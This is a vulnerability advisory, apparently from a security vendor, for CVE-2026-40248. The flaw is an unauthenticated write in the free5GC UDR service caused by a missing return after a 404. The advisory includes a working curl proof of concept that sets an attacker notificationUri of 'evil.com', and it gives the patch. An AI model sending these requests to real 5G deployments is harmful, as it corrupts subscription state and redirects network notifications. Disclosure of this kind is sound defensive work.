CVE-2026-40248

An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.

Details

The endpoint PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

1. The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutin ./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.gochecks whether influenceId != "subs-to-notify".
2. If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards.
3. Execution continues, the request body is still parsed, and the handler calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub).
4. The processor creates or updates the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully create or modify the target subscription in the UDR.

The missing return after sending the 404 response in api_datarepository.go is the root cause of this vulnerability.

PoC

No authentication is required. The attacker can choose an arbitrary subscriptionId.

curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \
  -H "Content-Type: application/json" \
  -d '{
    "notificationUri":"http://evil.com",
    "dnns":["internet"],
    "supis":["imsi-999999999999999"]
  }'

Response:

HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}

Now verify that the object was actually written:

curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid"

Response:

{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}

This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.

This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.

The attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

CVE-2026-40248 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,
function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:

if influenceId != "subs-to-notify" {
    c.String(http.StatusNotFound, "404 page not found")
    return
}

With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.

1. What is CVE-2026-40248? CVE-2026-40248 is a high-severity security vulnerability in github.com/free5gc/udr (go), affecting versions <= 1.4.2. No fixed version is listed yet.
2. How severe is CVE-2026-40248? CVE-2026-40248 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/free5gc/udr are affected by CVE-2026-40248? github.com/free5gc/udr (go) versions <= 1.4.2 is affected.
4. Is there a fix for CVE-2026-40248? No fixed version is listed for CVE-2026-40248 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-40248 exploitable, and should I be worried? Whether CVE-2026-40248 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40248 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.